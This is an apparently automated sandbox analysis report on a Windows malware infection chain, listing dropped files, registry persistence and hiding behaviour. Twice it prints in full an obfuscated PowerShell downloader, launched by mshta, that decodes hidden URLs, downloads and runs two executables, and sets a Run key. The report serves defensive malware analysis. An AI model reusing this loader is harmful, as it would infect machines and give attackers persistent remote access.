                    Source: C:\Windows\SysWOW64\mshta.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32Jump to behavior
                    Source: mjiwajgkqgx.10.drLNK file: ..\..\Roaming\AltDaemon\pyexec.exe
                    Source: BITF7D6.tmp.14.drLNK file: ..\..\Roaming\AltDaemon\pyexec.exe
                    Source: C:\Windows\SysWOW64\mshta.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\SettingsJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Windows\SysWOW64\msftedit.dll
                    Source: Window RecorderWindow detected: More than 3 window changes detected
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeFile opened: C:\Users\user\msvcr90.dllJump to behavior
                    Source: Binary string: msvcp100.amd64.pdb source: Virtual.exe, 0000000D.00000003.2093480853.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2099999088.00000000665EF000.00000002.00000001.01000000.00000017.sdmp, Virtual.exe, 0000000F.00000002.2278437603.000000006646F000.00000002.00000001.01000000.0000001F.sdmp
                    Source: Binary string: D:\tinderbox\win-4.2\out\win.amd64\release\obj\VBoxDDU\VBoxDDU.pdb source: Virtual.exe, 0000000D.00000002.2141095655.00007FFE0CFD5000.00000002.00000001.01000000.00000014.sdmp, Virtual.exe, 0000000D.00000003.2094292995.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2279644057.00007FFDFFD45000.00000002.00000001.01000000.0000001C.sdmp
                    Source: Binary string: msvcr100.amd64.pdb source: Virtual.exe, 0000000D.00000003.2093740203.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2110101564.00000000666D1000.00000002.00000001.01000000.00000016.sdmp, Virtual.exe, 0000000F.00000002.2278660752.0000000066551000.00000002.00000001.01000000.0000001E.sdmp
                    Source: Binary string: D:\tinderbox\win-4.2\out\win.amd64\release\obj\VBoxSVC\VBoxSVC.pdb source: second.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp
                    Source: Binary string: ntdll.pdb source: Virtual.exe, 0000000D.00000002.2098668905.000000000304A000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098954134.0000000003440000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277689899.00000000041E6000.00000004.00000001.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277261539.0000000003BEA000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277431868.0000000003FE0000.00000004.00000800.00020000.00000000.sdmp, BQE_Fast.exe, 00000012.00000002.2690790930.0000000006DC0000.00000004.00000001.00020000.00000000.sdmp, BQE_Fast.exe, 00000012.00000002.2687505922.0000000004FC7000.00000004.00000001.00020000.00000000.sdmp, BQE_Fast.exe, 00000012.00000002.2689443243.00000000061C5000.00000004.00000001.00020000.00000000.sdmp
                    Source: Binary string: wntdll.pdbUGP source: pyexec.exe, 00000004.00000002.1900868837.0000000003D20000.00000004.00000800.00020000.00000000.sdmp, pyexec.exe, 00000004.00000002.1900742358.00000000039C1000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2017515262.0000000003C30000.00000004.00000800.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2014809180.00000000038DF000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2025935355.0000000003FE7000.00000004.00000001.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2319003347.00000000053E0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318533080.0000000004AF6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419635170.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419361521.000000000480F000.00000004.00000020.00020000.00000000.sdmp
                    Source: Binary string: ntdll.pdbUGP source: Virtual.exe, 0000000D.00000002.2098668905.000000000304A000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098954134.0000000003440000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277689899.00000000041E6000.00000004.00000001.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277261539.0000000003BEA000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277431868.0000000003FE0000.00000004.00000800.00020000.00000000.sdmp, BQE_Fast.exe, 00000012.00000002.2690790930.0000000006DC0000.00000004.00000001.00020000.00000000.sdmp, BQE_Fast.exe, 00000012.00000002.2687505922.0000000004FC7000.00000004.00000001.00020000.00000000.sdmp, BQE_Fast.exe, 00000012.00000002.2689443243.00000000061C5000.00000004.00000001.00020000.00000000.sdmp
                    Source: Binary string: wntdll.pdb source: pyexec.exe, 00000004.00000002.1900868837.0000000003D20000.00000004.00000800.00020000.00000000.sdmp, pyexec.exe, 00000004.00000002.1900742358.00000000039C1000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2017515262.0000000003C30000.00000004.00000800.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2014809180.00000000038DF000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2025935355.0000000003FE7000.00000004.00000001.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2319003347.00000000053E0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318533080.0000000004AF6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419635170.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419361521.000000000480F000.00000004.00000020.00020000.00000000.sdmp
                    Source: Binary string: D:\tinderbox\win-4.2\out\win.amd64\release\obj\VBoxRT\VBoxRT.pdb source: Virtual.exe, 0000000D.00000002.2128921195.00007FFDFB8E5000.00000002.00000001.01000000.00000015.sdmp, Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmp
                    Source: Binary string: C:\build27\cpython\PCBuild\python27.pdb source: pyexec.exe, 00000004.00000003.1895098686.00000000020A2000.00000004.00000001.00020000.00000000.sdmp, pyexec.exe, 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmp, pyexec.exe, 00000006.00000002.2039080915.0000000066B1A000.00000002.00000001.01000000.00000011.sdmp
                    Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb source: second.exe, 0000000C.00000000.1958006340.00007FF79457C000.00000002.00000001.01000000.00000012.sdmp, second.exe, 0000000C.00000002.1978321168.00007FF79457C000.00000002.00000001.01000000.00000012.sdmp
                    Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxzip64\Release\sfxzip.pdb source: KNVYINNN.exe, 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmp, KNVYINNN.exe, 00000003.00000000.1842267538.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmp, KNVYINNN.exe, 00000009.00000002.2418362629.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmp, KNVYINNN.exe, 00000009.00000000.1927446437.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmp

                    Data Obfuscation

                    barindex
                    Suspicious powershell command line found
                    Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function gCKawp($xqETuHkBN, $cgpVK){[IO.File]::WriteAllBytes($xqETuHkBN, $cgpVK)};function TPUUAPTRh($xqETuHkBN){if($xqETuHkBN.EndsWith((odPEDz @(47359,47413,47421,47421))) -eq $True){Start-Process (odPEDz @(47427,47430,47423,47413,47421,47421,47364,47363,47359,47414,47433,47414)) $xqETuHkBN}else{Start-Process $xqETuHkBN}};function IogZmN($xqETuHkBN, $fYoQizCPx){[Microsoft.Win32.Registry]::SetValue((odPEDz @(47385,47388,47382,47402,47408,47380,47398,47395,47395,47382,47391,47397,47408,47398,47396,47382,47395,47405,47396,47424,47415,47429,47432,47410,47427,47414,47405,47390,47418,47412,47427,47424,47428,47424,47415,47429,47405,47400,47418,47423,47413,47424,47432,47428,47405,47380,47430,47427,47427,47414,47423,47429,47399,47414,47427,47428,47418,47424,47423,47405,47395,47430,47423)), $fYoQizCPx, $xqETuHkBN)};function MCNjOTFH($xqETuHkBN){$IVMCWJwi=(odPEDz @(47385,47418,47413,47413,47414,47423));$VGLgiVJ=(Get-ChildItem $xqETuHkBN -Force);$VGLgiVJ.Attributes=$VGLgiVJ.Attributes -bor ([IO.FileAttributes]$IVMCWJwi).value__};function oBvvmAnE($iXTtDfK){$GzBKYX = New-Object (odPEDz @(47391,47414,47429,47359,47400,47414,47411,47380,47421,47418,47414,47423,47429));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$cgpVK = $GzBKYX.DownloadData($iXTtDfK);return $cgpVK};function odPEDz($rGehVsA){$jtBdpZ=47313;$YWQUeqd=$Null;foreach($qyPsd in $rGehVsA){$YWQUeqd+=[char]($qyPsd-$jtBdpZ)};return $YWQUeqd};function WmSEp(){$lEPJgGls = $env:APPDATA + '\';$SCATfjY = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47414,47362,47415,47412,47413,47410,47413,47369,47363,47368,47367,47413,47365,47368,47413,47415,47410,47413,47364,47415,47369,47363,47415,47366,47370,47364,47367,47411,47370,47412,47366,47364,47359,47427,47363,47359,47413,47414,47431,47360,47388,47391,47399,47402,47386,47391,47391,47391,47359,47414,47433,47414));$VQrLt = $lEPJgGls + 'KNVYINNN.exe';gCKawp $VQrLt $SCATfjY;TPUUAPTRh $VQrLt;$fYoQizCPx = 'hzQtnaa';IogZmN $VQrLt $fYoQizCPx;;$MfdAL = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47412,47366,47410,47362,47369,47414,47411,47368,47367,47414,47361,47364,47365,47413,47369,47369,47369,47370,47370,47414,47362,47415,47365,47365,47415,47369,47366,47370,47410,47369,47365,47370,47359,47427,47363,47359,47413,47414,47431,47360,47428,47414,47412,47424,47423,47413,47359,47414,47433,47414));$NtudOlR = $lEPJgGls + 'second.exe';gCKawp $NtudOlR $MfdAL;TPUUAPTRh $NtudOlR;MCNjOTFH $NtudOlR;;;}WmSEp;
                    Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function gCKawp($xqETuHkBN, $cgpVK){[IO.File]::WriteAllBytes($xqETuHkBN, $cgpVK)};function TPUUAPTRh($xqETuHkBN){if($xqETuHkBN.EndsWith((odPEDz @(47359,47413,47421,47421))) -eq $True){Start-Process (odPEDz @(47427,47430,47423,47413,47421,47421,47364,47363,47359,47414,47433,47414)) $xqETuHkBN}else{Start-Process $xqETuHkBN}};function IogZmN($xqETuHkBN, $fYoQizCPx){[Microsoft.Win32.Registry]::SetValue((odPEDz @(47385,47388,47382,47402,47408,47380,47398,47395,47395,47382,47391,47397,47408,47398,47396,47382,47395,47405,47396,47424,47415,47429,47432,47410,47427,47414,47405,47390,47418,47412,47427,47424,47428,47424,47415,47429,47405,47400,47418,47423,47413,47424,47432,47428,47405,47380,47430,47427,47427,47414,47423,47429,47399,47414,47427,47428,47418,47424,47423,47405,47395,47430,47423)), $fYoQizCPx, $xqETuHkBN)};function MCNjOTFH($xqETuHkBN){$IVMCWJwi=(odPEDz @(47385,47418,47413,47413,47414,47423));$VGLgiVJ=(Get-ChildItem $xqETuHkBN -Force);$VGLgiVJ.Attributes=$VGLgiVJ.Attributes -bor ([IO.FileAttributes]$IVMCWJwi).value__};function oBvvmAnE($iXTtDfK){$GzBKYX = New-Object (odPEDz @(47391,47414,47429,47359,47400,47414,47411,47380,47421,47418,47414,47423,47429));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$cgpVK = $GzBKYX.DownloadData($iXTtDfK);return $cgpVK};function odPEDz($rGehVsA){$jtBdpZ=47313;$YWQUeqd=$Null;foreach($qyPsd in $rGehVsA){$YWQUeqd+=[char]($qyPsd-$jtBdpZ)};return $YWQUeqd};function WmSEp(){$lEPJgGls = $env:APPDATA + '\';$SCATfjY = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47414,47362,47415,47412,47413,47410,47413,47369,47363,47368,47367,47413,47365,47368,47413,47415,47410,47413,47364,47415,47369,47363,47415,47366,47370,47364,47367,47411,47370,47412,47366,47364,47359,47427,47363,47359,47413,47414,47431,47360,47388,47391,47399,47402,47386,47391,47391,47391,47359,47414,47433,47414));$VQrLt = $lEPJgGls + 'KNVYINNN.exe';gCKawp $VQrLt $SCATfjY;TPUUAPTRh $VQrLt;$fYoQizCPx = 'hzQtnaa';IogZmN $VQrLt $fYoQizCPx;;$MfdAL = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47412,47366,47410,47362,47369,47414,47411,47368,47367,47414,47361,47364,47365,47413,47369,47369,47369,47370,47370,47414,47362,47415,47365,47365,47415,47369,47366,47370,47410,47369,47365,47370,47359,47427,47363,47359,47413,47414,47431,47360,47428,47414,47412,47424,47423,47413,47359,47414,47433,47414));$NtudOlR = $lEPJgGls + 'second.exe';gCKawp $NtudOlR $MfdAL;TPUUAPTRh $NtudOlR;MCNjOTFH $NtudOlR;;;}WmSEp;Jump to behavior
                    Source: C:\Users\user\pyexec.exeCode function: 4_2_00401CB0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,OutputDebugStringA,__iob_func,fprintf,4_2_00401CB0
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeFile created: C:\Users\user\__tmp_rar_sfx_access_check_4200781Jump to behavior
                    Source: sfywpwa.29.drStatic PE information: real checksum: 0x28fb74 should be: 0x29da94
                    Source: pyexec.exe.3.drStatic PE information: real checksum: 0x7592 should be: 0x73ad
                    Source: pyexec.exe.4.drStatic PE information: real checksum: 0x7592 should be: 0x73ad
                    Source: yawa.16.drStatic PE information: real checksum: 0x0 should be: 0x739de
                    Source: python27.dll.3.drStatic PE information: real checksum: 0x29675c should be: 0x289569
                    Source: btbiig.10.drStatic PE information: real checksum: 0x28fb74 should be: 0x29da94
                    Source: python27.dll.4.drStatic PE information: real checksum: 0x29675c should be: 0x289569
                    Source: KNVYINNN.exe.1.drStatic PE information: real checksum: 0x0 should be: 0x61a61f
                    Source: VBoxRT.dll.12.drStatic PE information: real checksum: 0x413417 should be: 0x417a1a
                    Source: VBoxRT.dll.13.drStatic PE information: real checksum: 0x413417 should be: 0x417a1a
                    Source: second.exe.1.drStatic PE information: real checksum: 0x0 should be: 0x408513
                    Source: KNVYINNN.exe.1.drStatic PE information: section name: .didat
                    Source: KNVYINNN.exe.1.drStatic PE information: section name: _RDATA
                    Source: second.exe.1.drStatic PE information: section name: .didat
                    Source: second.exe.1.drStatic PE information: section name: _RDATA
                    Source: BQE_Fast.exe.10.drStatic PE information: section name: Shared
                    Source: btbiig.10.drStatic PE information: section name: .xdata
                    Source: btbiig.10.drStatic PE information: section name: uaub
                    Source: msvcr100.dll.12.drStatic PE information: section name: _CONST
                    Source: msvcr100.dll.12.drStatic PE information: section name: text
                    Source: msvcr100.dll.13.drStatic PE information: section name: _CONST
                    Source: msvcr100.dll.13.drStatic PE information: section name: text
                    Source: yawa.16.drStatic PE information: section name: aguc
                    Source: sfywpwa.29.drStatic PE information: section name: .xdata
                    Source: sfywpwa.29.drStatic PE information: section name: uaub
                    Source: C:\Users\user\pyexec.exeCode function: 4_2_00402F71 push ecx; ret 4_2_00402F84
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeCode function: 6_2_00402F71 push ecx; ret 6_2_00402F84
                    Source: msvcr90.dll.3.drStatic PE information: section name: .text entropy: 6.9217598022130655
                    Source: msvcr90.dll.4.drStatic PE information: section name: .text entropy: 6.9217598022130655
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeFile created: C:\Users\user\python27.dllJump to dropped file
                    Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\second.exeFile created: C:\Users\user\VBoxDDU.dllJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\second.exeFile created: C:\Users\user\VBoxRT.dllJump to dropped file
                    Source: C:\Users\user\pyexec.exeFile created: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\second.exeFile created: C:\Users\user\Virtual.exeJump to dropped file
                    Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\sfywpwaJump to dropped file
                    Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\yawaJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeFile created: C:\Users\user\msvcr90.dllJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\second.exeFile created: C:\Users\user\msvcp100.dllJump to dropped file
                    Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\btbiigJump to dropped file
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\KNVYINNN.exeJump to dropped file
                    Source: C:\Users\user\Virtual.exeFile created: C:\Users\user\AppData\Roaming\RemoteSvc\msvcp100.dllJump to dropped file
                    Source: C:\Users\user\Virtual.exeFile created: C:\Users\user\AppData\Roaming\RemoteSvc\msvcr100.dllJump to dropped file
                    Source: C:\Users\user\Virtual.exeFile created: C:\Users\user\AppData\Roaming\RemoteSvc\VBoxDDU.dllJump to dropped file
                    Source: C:\Users\user\pyexec.exeFile created: C:\Users\user\AppData\Roaming\AltDaemon\msvcr90.dllJump to dropped file
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\second.exeJump to dropped file
                    Source: C:\Users\user\Virtual.exeFile created: C:\Users\user\AppData\Roaming\RemoteSvc\VBoxRT.dllJump to dropped file
                    Source: C:\Users\user\Virtual.exeFile created: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeFile created: C:\Users\user\pyexec.exeJump to dropped file
                    Source: C:\Users\user\pyexec.exeFile created: C:\Users\user\AppData\Roaming\AltDaemon\python27.dllJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\second.exeFile created: C:\Users\user\msvcr100.dllJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeFile created: C:\Users\user\python27.dllJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\second.exeFile created: C:\Users\user\VBoxDDU.dllJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\second.exeFile created: C:\Users\user\VBoxRT.dllJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\second.exeFile created: C:\Users\user\Virtual.exeJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeFile created: C:\Users\user\msvcr90.dllJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\second.exeFile created: C:\Users\user\msvcp100.dllJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeFile created: C:\Users\user\pyexec.exeJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\second.exeFile created: C:\Users\user\msvcr100.dllJump to dropped file
                    Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\btbiigJump to dropped file
                    Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\yawaJump to dropped file
                    Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\sfywpwaJump to dropped file

                    Boot Survival

                    barindex
                    Drops PE files to the user root directory
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeFile created: C:\Users\user\python27.dllJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\second.exeFile created: C:\Users\user\VBoxDDU.dllJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\second.exeFile created: C:\Users\user\VBoxRT.dllJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\second.exeFile created: C:\Users\user\Virtual.exeJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeFile created: C:\Users\user\msvcr90.dllJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\second.exeFile created: C:\Users\user\msvcp100.dllJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeFile created: C:\Users\user\pyexec.exeJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\second.exeFile created: C:\Users\user\msvcr100.dllJump to dropped file
                    Source: C:\Windows\System32\svchost.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BITF7D6.tmp
                    Source: C:\Windows\System32\svchost.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BITF7D6.tmp
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run hzQtnaaJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run hzQtnaaJump to behavior

                    Hooking and other Techniques for Hiding and Protection

                    barindex
                    Found hidden mapped module (file has been removed from disk)
                    Source: C:\Windows\SysWOW64\cmd.exeModule Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\BTBIIG
                    Source: C:\Windows\SysWOW64\cmd.exeModule Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\YAWA
                    Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
